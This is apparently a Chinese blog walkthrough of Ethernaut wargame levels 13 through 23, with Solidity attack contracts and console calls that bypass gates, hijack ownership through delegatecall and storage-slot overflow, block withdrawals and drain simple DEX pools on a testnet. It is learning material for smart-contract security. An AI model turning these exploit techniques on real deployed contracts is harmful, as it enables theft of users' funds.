        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    }

    function check2() public view returns (bool){
        return uint32(uint64(changedValue)) != uint64(changedValue);
    }

    function check3() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    }

    function attack() public {
        gateImpl.enter(changedValue);
    }
}

这里主要看为什么能够解决gateThree的需求。当获取输入的时候,会进行bytes8(uint64(tx.origin) & offset)运算。

  • address类型长度为160位,20字节,40个十六进制
  • uint64(tx.origin)tx.origin进行了截取,选取后64位,8字节,16十六进制。
  • offset类型为uint64,默认值为0xFFFFFFFF0000FFFF,最后的FFFF保证其最后16位不发生改变,中间的0000保证17-33位为0,剩下的FFFFFFFF则保证34-64位不全为0(只要tx.origin不是这样就好)。
  • 通过&运算完成变换,以bytes8存储在changedValue变量,用以实际攻击。

合约交互

部署合约,传入目标合约0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284,构建合约的地址为0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d

部署合约


点击getAddress,计算changedValue。此时,点击check1check2check3来查看gateThree的要求是否满足。由截图可见,均满足。

gateThree已满足


由于gateOne已经自动满足了,所以我们可以直接通过调用来调试实际的gas了。
点击attack发起进攻,由于是跨合约调用,所以我们先将Gas Limit调大一些(实际远远不用这么大),如图所示。

设置gas

此时,我们进入测试网Explorer查看交易详细信息,不出意外,交易将会被回滚。这是因为当前的gas没有满足要求。

交易回滚

点击右上角,选择Geth Debug Trace来看详细的编译过程。

Geth Debug Trace


里面是每步操作的执行过程及其所消耗的GAS。

Geth Debug Trace 详情

页面中搜索GAS,操作中总共有2个,分析整个调用顺序,应该前者是合约内部调用前发起,后者则是gateTwo通过gasLeft主动发起。所以记下该GAS操作后剩余的gas(因为查询本身也会消耗gas),此处为70215。我们可以根据该值除8191的余数调整gas limit直至完成攻击。

GAS详情

下表则是我们的发起过程,需要重复进行几次才能完成攻击。

原始gas Limit GAS操作后剩余gas 余数 下一次输入gas
100000 70215 4687 95313
95313 65601 73 95240
95240 65529 1 95239

注意当gas设置为95239后,交易成功。如截图所示:

攻击成功


输入await contract.entrant() == player,此时返回true表明攻击成功。

await contract.entrant() == player


提交实例,本关卡成功!

关卡成功

总结

Gas的调试很有意思,值得细细研究。


14 GateKeeper Two

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F。本关卡的目的是满足gateOnegateTwogateThree,成功实现entrant的修改。

观察其核心代码,依旧是gateOnegateTwogateThree

  • gateOne依旧是要求msg.sender != tx.origin,即必须有一个中间合约。
  • gateTwo要求extcodesize(caller())==0,即调用者(对应msg.sender)的关联代码长度为0,而我们知道,智能合约代码是不为0的。
  • gateThree则要求输入对应的bytes8满足相应的要求。

乍一看似乎gateOnegateTwo无法同时满足,但是可以考虑到,当合约正在构建时,其关联代码也是为0的。所以我们可以在构建函数里发起攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    constructor(address addr) public {
        Gate gateImpl = Gate(addr);
        bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        gateImpl.enter(input);
    }
}

值得注意的是,我们这里针对gateThree使用了主动下溢出获取全为1的uint64(两次异或就消失了)。

合约交互

部署合约,传入目标合约0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F,构建合约的地址为0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f

部署成功后,利用await contract.entrant() == player查看是否攻击成功。答案是成功的。

await contract.entrant() == player


提交实例,本关卡成功!

关卡成功

总结

那该如何保证不处理智能合约发来的请求呢?msg.sender=tx.origin即可。


15 Naught Coin

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2。本关卡的目的是将自身的余额变为0。

乍一看合约,对player存在如下限制:

    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }

似乎是无法绕过的,我们似乎也无法通过合约进攻,因为默认是扣去自身的token。
但有一看,NaughCoin是继承ERC20,而我们知道ERC20中可不只一个转账函数。我们可以试试通过其他方法。

仔细一看,原始的ERC20中还存在transferFrom函数。

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,address to,uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from,spender,amount);
        _transfer(from,to,amount);
        return true;
    }

当然,这前提是有足够的allowance。我们可以开始试试了。

合约交互

首先通过await contract.approve(player,await contract.balanceOf(player)),使得自身可以通过transferFrom函数进行转账。

await contract.approve(player,await contract.balanceOf(player))


随后我们通过await contract.transferFrom(player,contract.address,await contract.balanceOf(player))将余额转移到合约。

await contract.transferFrom(player,await contract.balanceOf(player))


此时再通过await contract.balanceOf(player)查看余额,可知攻击成功,余额为0。

await contract.balanceOf(player)


提交实例,本关卡成功!

在这里插入图片描述

总结

继承部分函数不影响其他的使用,这可以说的上是表面合约了。


16 Preservation

我又回来了,给外方的培训算是快要告一段落,在这段过程中,我认为我也有许多收获。在培训、讲解的过程中,我的思路也变得更为清晰了。可喜可贺。理论上来说,我初步计划的是在8月完成Ethernaut的攻防,然后开启下一阶段的分享。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是获取目标合约的所有权。那我们还是要看看,目标合约的薄弱点在哪里,我们hack的入口又在哪里?

我们对目标展开详细分析

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

此处目标存储了timeZone1LibrarytimeZone2LibraryownerstoredTime变量,而前三者都是在创建时指定的。

既然要获取目标合约的所有权,首先我们查找修改owner的语句,但是翻遍代码都没有找到,或许我们得看看有哪些危险函数

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature,_timeStamp));
  }

没错,就是这里,delegatecall!
其实,在Delegation一关中,我们专门提到过call函数族中的区别:

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者B,但执行环境为调用者的运行环境B
  • callcode:调用后内置变量 msg 的值A会修改为调用者B,但执行环境为调用者的运行环境B

此时,使用delegate call时,我们只是相当于调用了函数,而实际执行环境还是本身的运行环境。如果要更为底层的来说,又该怎么理解呢?这个环境,尤其是涉及到storage变量的存储时,是根据插槽来使用的,而不是变量的名字。换句话来说,我们如果通过delegate call修改storage变量,其实是修改当前环境下对应的插槽!

理解了这一点,我们再来看当前合约,真是怎么看怎么不对劲:当调用对应合约LibraryContractsetTime函数后,如所见即所得,storedTime变量被修改,这其实会修改运行环境下的slot 0,换而言之,其实timeZone1Library所处的插槽已经被修改了。这个合约本身就是有问题的!

也就是因为它有问题,我们才要处理它!我们首先想将timeZone1Library的地址修改为我们的攻击合约,在想办法通过delegate call实现后续的攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;


contract attacker {

    address public tmpAddr1;
    address public tmpAddr2;
    address public owner; 

    constructor() public {

    }

    function setTime(uint _time) public {
        owner = address(_time);
    }

}

乍一看,这和原来合约的有什么区别么?其实有的,就是我们在修改时特意使得修改的是第三个插槽,也就是slot 2。变量tmpAddr1tmpAddr2其实只是一个插槽的占位符,并无特殊含义。

合约交互

首先我们部署攻击合约,合约地址为0x852D36AcCF80Eb6611FC124844e52DC9fC72c958。现在我们就是想用其替换原有的变量timeZone1Library

首先,我们可以查询目标合约目前的插槽状况。

slot


其布局应当为

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

我们试着调用await contract.setFirstTime()(first 还是 second 其实并不影响,可以思考以下为什么)并传入我们的攻击合约。此时可以看到其实已经发生了改变。我们可以直接传入地址而不去在意uint的限制,因为具体构建的data并不会指明参数类型,而会是evm手动的编译。

嵌入攻击合约


此时,其布局应当为

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

此时,想法就很简单,直接调用await contract.setFirstTime()并传入player地址。传入后查看owner变量是否发生修改,可以看到已经成功获取到了合约所有权。

成功获取到了合约所有权


此时布局为:

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

提交实例,本关卡完成!

关卡完成

总结

还是得明白 delegate call共享环境到底共享的是什么。


17 Recovery

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是找到“丢失的地址”(我们给他转去了0.001ether却忘记了其地址)并恢复丢失的以太。

这题其实有两种思路,一种略微取巧了,第二个我猜是题目真正想考的。
根据题目描述可以知道,这其实是一个连续的过程:合约创建者创建代币合约的工厂合约,后者再创建代币合约(被遗忘的地址)。我们就围绕这个思路展开。

合约交互

找到遗忘的地址,方法一 : 基于浏览器

这里的浏览器可不是Browser,而是Explorer
我们可以查看自己的交易记录。可以看到我们在里面还转移了两次0.001以太。

交易记录


我们可以基于内部调用展开分析。整体流程如下:

  • 用户账户调用Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33
  • Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33调用关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2并转账0.001Ether
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2创建工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2调用工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2,应该是generateToken接口
  • 工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2创建了代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
  • 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2向代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8转账0.001Ether,随后忘记该合约地址。

在这里插入图片描述


通过浏览器,我们找到了该代币合约地址为0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

找到遗忘的地址,方法二 : 基于地址生成

其实,合约地址的生成是有规律可寻的。经常可以看到有的代币或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址(哈希值原本为32字节)。

  • 创建者的地址是已知的,而nonce也是从初始值递增获取到的。
  • 外部地址nonce初始值为0,每次转账或创建合约等会导致nonce加一
  • 合约地址nonce初始值为1,每次创建合约会导致nonce加一(内部调用不会)

我们用web3.js试试召回丢失的合约地址。目前已知工厂合约为0xfeB7158F1d0Ff49043e7e2265576224145b158f2,nonce为1,
输入为web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,),结果为9d91abf611bbf14e52fa4cddea81f8f2cf665cb8

找回

找到了合约,现在就要尝试和合约进行交互。我们可以新建合约,也可以直接通过web3.js与合约进行交互。

首先,我们通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。

构造参数


可以看到有4字节的函数以及32字节的输入(不够的补0)。

在这里插入图片描述


成功调用!

成功调用


提交实例,本关卡成功!

在这里插入图片描述

)

总结

其实感觉自己原理都知道,但实操起来总有些不熟练,还得多练习~


18 MagicNumber

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c。本关卡就是希望我们能手写solidity的opcode,构建合约,再被调用是能直接返回魔数0x42。准确来说,就是希望我们熟悉当我们创建合约的时候,transaction中的data实际指的是什么。

这一块其实我也不是特别熟悉,所以也查询了一些资料。当我们用Solidity部署合约时,究竟会发生些什么?

  • Solidity代码已经写好,当用户点击部署时,会发送创建合约的交易(此交易没有to选项),此时solidity语言已经被编译为字节码
  • EVM接收到请求后会将data取出来,这实际上是字节码
  • 字节码将会被载入到栈内,分为两部分:初始化字节码及运行态字节码
  • EVM将会执行初始化字节码,并将运行态字节码返回用以正常时的利用。

我们这里其实既要写运行态字节码,又要写初始化的字节码。

那就开始编写字节码。

合约编写

运行态字节码

运行态其实就是直接返回RETURN 42。可是opcodeRETURN是基于栈的。它会读取栈中的p和s并返回。其中p代表存储的内存地址,而s代表的是存储数据的大小。所以我们的思路就是,先把数据利用mstore存到内存里,再利用RETURN返回。

  • mstore会读取栈中的p和v,并最终将数据存储到p位置上

    • push1 0x42 -> 60 42
    • push1 0x60 -> 60 60(存储在0x60的位置)
    • mstore -> 52
  • RETURN返回0x42

    • push1 0x20 -> 60 200x20=32即uint256的字节数)
    • push1 0x60 -> 60 60
    • return -> f3

合起来就是604260605260206060f3。看上去运行态字节码就这么简单。

初始化字节码

其核心就是初始化并通过codecopy将运行态字节码存到内存去,在这之后,这将自动地被EVM处理并存储到区块链上。

  • codecopy会读取参数t、f、s,其中t是代码的目的内存地址,f是运行态代码相对于整体(初始化+运行态)的偏移,而s则是代码大小。我们这里选择t=0x20(这里没有强制性要求),f=unknown(是1字节的偏移量)s=0x0a(10个字节的大小)

    • push1 0x0a -> 60 0a
    • push1 0xUN -> 60 UN
    • push1 0x20 -> 60 20
    • codecopy -> 39
  • 通过RETURN将代码返回给EVM

    • push1 0x0a -> 60 0a
    • push1 0x20 -> 60 20
    • return -> f3
      此时初始化字节码有12字节,所以运行态偏移为12=0x0c=UN
      最终初始化字节码为600a600c602039600a6020f3

构建与测试

构建字节码0x600a600c602039600a6020f3604260605260206060f3
我们在console界面构造了交易以创建合约。

创建合约


由于交易没有接受方,自动被识别为部署合约

部署合约


部署完成,可以看出,合约地址为0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771

部署完成


将合约设置为solver。后面当我们提交后会自动调用以查看是否满足。

设置solver


提交关卡,进行检验,发现没有成功?怎么回事?

先查看交易的RAW TRACE,可以看出最后的确是访问了我们的合约,也的确是返回了0x42。

DEBUG TRACE


再去看汇编,可以看到,的确也是执行了。

汇编检查


随即我们在remix上的导入,调用函数,的确也都返回0x42。

remix结果正常


难道?我们修改返回的值从0x42到42(0x2a)。

构建字节码0x600a600c602039600a6020f3602a60605260206060f3
此时通过remix调用,的确都返回42。再提交看看?成功了!

关卡成功

总结

其实有人会觉得困惑?也没有个函数选择器啥的?其实这里需要补充一下,平常我们通过solidity编写智能合约后,在编译时会植入函数选择器。而我们本关卡没有这一步骤,所以就如同remix调用的图一样,所有函数其实都执行的同一块命令,得到的是同一个结果。


19 AlienCodex

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef。本关卡的目的是获取合约的所有权。那我们先看看合约内有没有设置所有权的代码?

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;
  ...
}

看到代码就知道,合约里应该是没有设置所有权的代码,那我们可能就要想办法从其他地方入手了。发现代码里有这段:

  function revise(uint i,bytes32 _content) contacted public {
    codex[i] = _content;
  }

看来就是这里了,想办法从这里入手,通过该操作以改变插槽存储值的大小。

合约交互

我们先看看slot里存的都是些什么?

查询slot存储


由于合约继承了Ownable合约,所以slot0中存储的就是owner对象,此时为0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272。实际上该地址就是创建目标合约的地址,如下图所示:

ownable变量

,the owner will still get their share
而存储的contact变量也是在slot 0中(一个插槽长度为32位,能够存放地址(20)+布尔型(1)),目前为0即为false。slot1存储的则是codex动态数组,更准确来说,应该是codex动态数组的长度,而具体的下标内容呢?会按序存储在keccak256(bytes(1))+x的插槽内,其中,x就是数组的下标。所以我们将插槽表示出来:

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------

我们现在计算codex data的起始插槽,应该是0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

计算起始数据插槽


我们先测试一下准确性。由于contacted modifier的存在,我们先修改contact变量。调用await contact.make_contact(),再次查看插槽数值,可以发现变量成功被修改。

成功修改contact变量


先存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。

测试


再存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。

成功


现在我们就希望通过修改codexdata导致溢出最终修改slot 0。
首先我们连续调用三次await contract.retract()codex.length下溢出为2**256-1。此时先前输入的数据均已丢失。

修改codex.length


那下标该是多少呢?应该是2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1。因为我们到达末端后需要再进一位产生上溢出,返回slot0。在计算的过程中我们遇到一个问题,那就是javascript会利用科学计数法,而这会导致精度的丢失。为了简便起见,我们用remix计算,结果是35707666377435648211887908874984608119992236509074197713628505308453184860938

使用remix辅助计算


那我们就用await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)来调用,此时会覆盖原有slot。但一检查发现不对,结果跑前面去了。看来我们又要修改一下,不能直接传入player,需要传入0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b

在这里插入图片描述


输入await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'),此举是在地址前面补齐24个0,凑足244+404=256位即32bytes,从而将地址存入正确的存储位置。

修改后重新发起


此时,合约所有者已经成功修改。

成功修改


提交实例,本关卡成功!

关卡成功

总结

在涉及到owner方面(或者其他重要变量)一定要慎重,寻找所有的可能性。


20 Denial

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xeb587746E66F008f686521669B5ea99735b1310B。本关卡的目的是阻止owner提款。我们先看看各角色是什么。

    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert,the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;输入
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

每当用户提款时,会调用withdraw函数,取出1%发给partner,还有1%发给owner。我们能做的就是在partner端定义函数,使的发给owner的步骤无法进行。

然而,合约中调用的是call并附上了所有gas。我们先回顾一下sendcalltransfer之间的区别。

  • transfer如果异常会转账失败,并抛出异常,存在gas限制
  • send如果异常会转账失败,返回false,不终止执行,存在gas限制
  • call如果异常会转账失败,返回false,不终止执行,没有gas限制

所以我们的入手点就是消耗光其gas,光失败不会终止后续执行的!

如何消耗呢?那我们就来看看requireassert

  • assert会消耗掉所有剩余的gas并恢复所有的操作
  • require会退还所有剩余的gas并返回一个值

所以我们似乎可以在assert上下功夫。

攻击合约编写

攻击合约很简单,就是默认assert(false)并回滚一切操作。

pragma solidity ^0.6.0;


contract attacker {

    constructor() public {
    }
    
    fallback() external payable {
        assert(false);
    }

}

合约交互

部署攻击合约,地址为0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7

部署攻击合约


输入await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')将攻击合约设置为partner角色。

设置partner


此时我们发起withdraw测试一下。输入await contract.withdraw(),结果发现由于gas耗尽,所以失败。

withdraw调用失败


提交实例,本关卡成功!

关卡成功

总结

还是那句老话,合约的交互是难以信任的。


21 Shop

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7。本关卡的目的是用低于问讯要求的价格实现购买。其具体代码段如下:

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }

合约会询问用户msg.sender(所以可以是智能合约)的出价,如果其price()函数返回的结果超过当前的定价并且商品仍未卖出,则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而,我们可以看到Buyer类型的接口price()是一个view类型的函数,这表明只能读取变量而不应当对变量有所修改,即不能改变当前合约的状态。这可怎么办呢?

那么有没有办法能够使得view方法两次返回的值不同呢?目前来说,有两种方法:

  • 依托于外部合约的变化
  • 依托于本身变量的变化

攻击合约编写

外部合约的状态变化

如果view类型方法依托于外部合约的状态,通过询问外部变量,即可无修改地实现返回值的区别。

同样基于remix,我们编写合约如下:

pragma solidity ^0.6.0;


interface Shop {
  function buy() external;
  function isSold() external view returns (bool);码
}

contract attacker {

    Shop shop;

    constructor(address _addr) public {
        shop = Shop(_addr);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        if (!shop.isSold()){
            return 101;
        }else{
            return 99;
        }
    }

}

此时由于在请求price()前后Shop合约的isSold变量已发生了变化,所以我们可以基于该变量设置if规则,这种方法是适用的。

本身变量的变化

如果我们依赖于nowtimestamp等变量,的确可以实现在不同区块下view类型的函数会返回不同结果,然而,在同一区块下,似乎仍难以区分开来。

我们有如下合约:

contract attacker2 {

    Shop shop;
    uint time;

    constructor(address _addr) public {
        shop = Shop(_addr);
        time = now;
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        return (130-(now-time));
    }

}

在不同时刻调用view类型的price函数,返回的值是有区别的。然而,在同一区块呢,很难去达成区别,所以是不够适用的。

115

106

合约交互

先查看合约当前状态。

合约当前状态


部署攻击合约,合约地址为0x8201E303702976dc3E203a4D3cDe244D522274bf

部署攻击合约


此时调用price方法,返回101

获取当前价格


调用attack方法发起进攻。调用完后刷新目标合约状态。此时商品已卖出,价格为99。

刷新目标合约状态


提交实例,本关卡完成!

本关卡完成!

总结

有时候从另一个角度去想问题,这和我们常规理解的可能不一样。


22 Dex

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x28B73f0b92f69A35c1645a56a11877b044de3366。本关卡的是DEX(Decentralized Exchange,去中心化交易所)的简易版本。

对合约展开分析,合约中只存有两个代币合约,一个是token1,一个是token2

  function setTokens(address _token1,address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

而合约支持我们根据代币之间的汇率进行兑换。兑换的价格为两个代币的数量之比。

  function getSwapPrice(address from,uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

这里发现有一个问题,我们暂且按下不表。
那我们需要做什么呢?就是利用这里面不对称的汇率,实现套利,挖空交易池里的代币(一种即可)。

由于在swap里已经限定只能围绕token1token2展开交易。所以我们只能从汇率入手了。那这就回到我们一开始发现的问题,对于单次交易来说,汇率是恒定的!对一般的去中心化交易所来说,都会有滑点(Slippage)的概念,即随着交易额的增长,理论汇率和实际汇率之间的差值会越来越大! 而很明显,本关卡合约没有滑点的概念,这就使得我们能获取到的兑换额度要比实际值大的多。多兑换几次,我们就能很快掏空交易池。

合约交互

我们先看看交易池内token1token2和我们账户代币的数量。

查看当前交易池和用户余额

如果我们要将手头的10个token1兑换为token2,首先我们通过await contract.approve(contract.address,10)完成授权。

授权


随后我们通过await contract.swap(token1,token2,10)将10个token1兑换为token2。根据初始汇率1:1我们可以获取到10个token2。此时我们有了0个token1、20个token2,但交易所现在有110个token1、90个token2,如果我们将10个token2兑换回去,我们可以获得不止10个token1!这就是套利!

兑换成功

通过下表展示套利过程,其中由于精度有限所以汇率往往只能精确到小数点后1位。最后一次我们根据汇率不完全兑换,只兑换46个(110/2.4=45.83),结果失败(因为交易池没有那么多)。后来发现,直接兑换45个即可。

交易池token1 交易池token2 汇率1-2 汇率2-1 用户token1 用户token2 兑换币种 兑换后用户token1 兑换后用户token1
100 100 1 1 10 10 token1 0 20
110 90 0.818 1.222 0 20 token2 24 0
86 110 1.28 0.782 24 0 token1 0 30
110 80 0.727 1.375 0 30 token2 41 0
69 110 1.694 0.627 41 0 token1 0 65
110 45 0.409 2.44 0 65 token2 110 20

此时,交易池的token1已经被掏空!提交关卡,本关卡成功!

关卡成功!

总结

涉及到Dex这种Defi项目,智能合约的编写一定要慎之又慎。


23 Dex2

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA。本关卡仍是DEX(Decentralized Exchange,去中心化交易所)的简易版本。

乍一看,这题跟上个没啥区别阿。但仔细一看似乎缺了点什么?

  function swap(address from,uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount,"Not enough to swap");
    uint swapAmount = getSwapAmount(from,amount);
    IERC20(from).transferFrom(msg.sender,address(this),amount);
    IERC20(to).approve(address(this),swapAmount);
    IERC20(to).transferFrom(address(this),msg.sender,swapAmount);
  } 

里面不再对币种的地址作校验了,那我们能否部署自己的代币合约,并通过相关方法提供流动性,并最终掏空池子呢?

编写攻击合约

我们参考目标合约中的SwappableToken合约,编写攻击合约如下:

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenAttack is ERC20 {
  address private _dex;
  constructor(address dexInstance,string memory name,string memory symbol,uint initialSupply) public ERC20(name,symbol) {
        _mint(msg.sender,initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner,address spender,uint256 amount) public returns(bool){
    require(owner != _dex,"InvalidApprover");
    super._approve(owner,amount);
  }
}

部署合约,其合约地址为0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e

部署合约

合约交互

我们首先实现approve授权许可,给目标合约8个攻击代币的许可。

approve许可


随后,我们通过await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)将攻击代币加入DEX。结果失败,原来我们不是合约的owner

添加流动性失败


这影响吗?不影响,我们可以在攻击合约中手动转账。

手动转账


此时,获取一下攻击代币转token1的汇率呗~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1),结果发现我们可以全部掏空token1!

在这里插入图片描述


那就发起把,先后输入await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)以实现将交易池掏空!成功!(对token2使用2个攻击代币是因为我们此时汇率已经下降到1:50了)

成功掏空


提交关卡,本关卡成功!

本关卡成功

总结

智能合约真是处处漏洞阿,有时间一定要研究以下UniSwap!


原文地址:https://blog.csdn.net/weixin_43982484

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


文章浏览阅读903次。文章主要介绍了收益聚合器Beefy协议在币安智能链测试网网上的编译测试部署流程,以Pancake上的USDC-BUSD最新Curve版流动池的农场质押为例,详细介绍了完整的操作流程。_怎么在bsc网络上部署应用
文章浏览阅读952次。比特币的主要思路是,构建一个无中心、去信任的分布式记账系统。交易签名只能保证交易不是他人伪造的,却不能阻止交易的发起者自己进行多重交易,即交易的发起者将一个比特币同时转账给两个人,也就是所谓的双花。比特币应用的区块链场景也叫做公链,因为这个区块链对所有人都是公开的。除此之外,还有一种区块链应用场景,被称作联盟链。区块链的出现,使得低成本,去信任的跨组织合作成为可能,将重构组织间的关系,这个关系既包括企业间的关系,也包括政府和企业间的关系,还有政府部门间的关系。
文章浏览阅读2.5k次。虚拟人从最初的不温不火,到现在步入“出生高峰期”,元宇宙可以说是功不可没。此前,量子位发布了《虚拟数字人深度产业报告》,报告显示,到2030年我国虚拟数字人整体市场规模将达到2700亿元。其中,“身份型虚拟人”市场规模预计达到1750亿元,占主导地位,而“服务型虚拟人”总规模也将超过950亿元。得益于AI、VR/AR 等技术的发展,虚拟人的应用场景正在从传统的虚拟偶像等娱乐行业迈向更多元化的领域。_最喜欢的虚拟角色
